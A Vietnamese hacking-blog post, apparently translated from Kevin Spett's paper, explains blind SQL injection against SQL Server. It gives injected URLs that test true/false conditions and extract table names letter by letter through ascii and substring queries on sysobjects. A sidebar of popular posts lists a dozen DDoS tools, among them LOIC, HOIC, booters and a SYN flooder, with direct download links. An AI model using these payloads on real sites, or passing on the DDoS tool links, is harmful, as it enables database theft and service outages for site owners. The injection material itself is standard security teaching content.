Chuyển đến nội dung chính

Khai thác lỗi Blind SQL nâng cao

Trước hết phải nói đây là bài cũ rùi, nhưng sau bài này mình sẽ có thêm 1 ví dụ cụ thể chăc sẽ dễ chịu
hơn với những ai chưa rõ lắm ( chỉ sợ ai cũng rõ rồi thì phí công wé )
Bài lấy trong kho nhé :
Bài này là bài dịch đầu tay hay sao á
Dựa theo bài viết của : Kevin Spett

Nói qua 1 chút , nếu khai thác theo lỗi SQL injection thông thường ta khai thác qua các error message gửi về từ server .Tuy nhiên 1 số admin đã ngăn việc hiển thị các error message nhưng thật đáng tieec như thế là ko đủ
Nếu như bạn ko nhận được các error message thì đừng lo vì rất có thể chúng ta vẫn khai thác thông tin được qua "blind" sql injection .

Phát hiện lỗi "blind sql injection":

1 URL như sau : http://www.company.com/pressRelease.jsp?pressID=5

và câu lệnh SQL được thực hiện sẽ là :

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5

để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:

http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1

và nếu database server thực hiện lệnh

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1

và nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi rồi đấy .

Khai thác:

Bây giờ chúng ta sẽ đoán các thông tin của database bằng việc thực hiên các câu hỏi đúng sai với server

Ví dụ : ta sẽ hỏi server xem " có phải user hiện tại là dbo ko?" bằng cách :

http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo'

( USER_NAME() là 1 hàm của SQL Server trả về tên của user hiện tại )

Nếu user hiện tai đúng là 'dbo' thì chúng ta sẽ được trả về http://www.company.com/pressRelease.jsp?pressID=5 còn nếu ko thì sẽ ko có trang nào được trả về cả.

Hay phải ko các bạn

Bằng cách so sanh các câu hỏi nhỏ với các hàm ta có thể hỏi nhiều câu phức tạp hơn . Sau đây là ví dụ về cách lấy tên của 1 table ( từng chữ 1 )

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>109

Lệnh SELECT sẽ yêu cầu tên của table đầu tiên trong database

Hàm substring() sẽ trả về chữ đầu tiên trong kết quả của câu lện

Hàm lower() đơn giản chỉ là chuyển kí tự thành kiêu chữ thường, ko viết hoa.

Hàm ascii() sẽ trả về giá trị ASCII của kí tự đó

Nếu server ko báo lỗi gì thì chúng ta có thể biết rằng tên đầu tiên của table là một chữ sau chữ "m" ( vì trong bảng mã giá trị của chữ "m" là 109 )

tiếp theo :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>116

Nếu báo lỗi tức là ta biết được giá trị ASCII của kí tự đầu tiên này nằm trong khoảng từ chữ "n" đến chữ "t" ( giá trị của t là 116)

Cứ thế thu hẹp dần ta sẽ được giá trị của kí tự đầu tiên sẽ nằm trong khoảng "n" và "o" ( 110 và 111)

Tiếp theo:

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))=111

Server ko báo lỗi mà trở về trang http://www.company.com/pressRelease.jsp?pressID=5 <--vậy là ta biết được kí tự đầu tiên của table là "o"

Đoán tiếp kí tự thứ 2 ta làm như sau :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1)))>109

(chú ý ta phải đổi đối số từ 1 sang 2 )

và rồi làm lại như thế , dần dân ta sẽ nhân được tên đầy đủ của table ( trong ví dụ này là "orders")

Bài này ko phải là dịch hoàn toàn mà dựa trên sự đọc hiểu của mình và viết lại , nếu các bạn thấy chỗ nào thiếu chính xác thì góp ý nhá ( mong các bạn đừng cười )

À còn đây là 1 chút về bảng mã ASCII cho nhưng bạn nào chưa biết :

1. Bảng mã ASCII :

Bộ kí tự ASCII gồm 256 kí tự được phân bố như sau:

+ 32 kí tự đầu là các kí tự điều khiển ko in được ví dụ như kí tự ENTER ( mã 13) , ký tự ESC ( mã 27)

+ các mã 32-47,58-64,91-96 và 123-127 là các kí tữ đặc biệt như dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi .....

+ các mã 48-57 là 10 chữ số

+ các mã 65-90 là các chữ cái hoa A->Z

+ các kí tự 97-122 là các chữ cái thường a->z

+ các mã ASSCII là các kí tự đồ họa

Cụ thể hơn bạn có thể viết 1 CT nhỏ bằng pascal , C ...... để liệt kê bảng mã ASCII cho mình

Nhận xét

Bài đăng phổ biến từ blog này

Tổng hợp tool DDOS mới và mạnh nhất!

-Anonymous DoSer http://www.mediafire.com/download/ifrr0b015bxp04a/DoSeRs_By_xXaralampos.rar -Anonymous External Attack http://www.mediafire.com/download/o12ws2tubuo9d1n/Anonymous_External_Attack.zip -ByteDOS v3.2 http://www.mediafire.com/download/064q0l95taf007l/ByteDOS_v3.2.zip -Hoic Vercion v2.1 http://www.mediafire.com/download/161e8k1ec9381dz/Hoic_Vercion_2.1.zip -LOIC http://www.mediafire.com/download/6381jiahkppvg7g/LOIC.zip -PoWeRFuL DoSeR http://www.mediafire.com/download/63ffq33wg0chkid/PoWeRFuL_DoSeR.zip -Jays Booter http://www.mediafire.com/download/wu6d0085fnmmyw6/Jays_booter.zip -Site_Hog_v1_Release http://www.mediafire.com/download/z6j1o6qhdeyb8dq/Site_Hog_v1_release.zip -SYN-Flood-DOS http://www.mediafire.com/download/5fnlhqit136wiqb/SYN-Flood-DoS(Skynet-Hackers).zip -Turbinas VolkSv1 http://www.mediafire.com/download/4ahl5h5traq8zf5/Turbinas_VolkS1.0.zip -rDos Port scanner http://www.mediafire.com/download/er83ctdtikwf7w6/rDos_+_Port_Scanner.zip

Deep web là gì, hoạt động ra sao

ó rất nhiều nội dung của Internet mà những trình duyệt thông thường không thể truy cập vào được. Chúng tồn tại ngoài phạm vi của Google, Facebook và trình đọc RSS của bạn. Những trang web này được gọi là "Deep Web" hoặc "Undernet", hiểu nôm na là "Web chìm" hay "Mạng ngầm". Chúng tạo thành một thành phố kỹ thuật số thịnh vượng dành cho những kẻ buôn bán ma túy, vũ khí, ấu dâm hay sát thủ nhưng tồn tại "ngầm" trong lòng Internet. Những trang "Web chìm" này vốn được khóa chặt. Nếu muốn truy cập chúng, bạn cần một trình duyệt đặc biệt. Đó là trình duyệt Tor. Cách mà Tor kết nối Internet hoàn toàn khác những trình duyệt thông thường. Nếu bạn sử dụng Chrome hoặc Firefox, danh tính và vị trí của bạn dễ dàng bị tiết lộ. Nhưng nếu bạn duyệt web bằng Tor, những thông tin đó sẽ được giữ bí mật ở mức cao nhất có thể. Tor là gì? Tor, vốn là từ viết tắt của "The Onion Router", là một mạng ẩn danh được thiết kế nhằm tuyệt đối giữ ...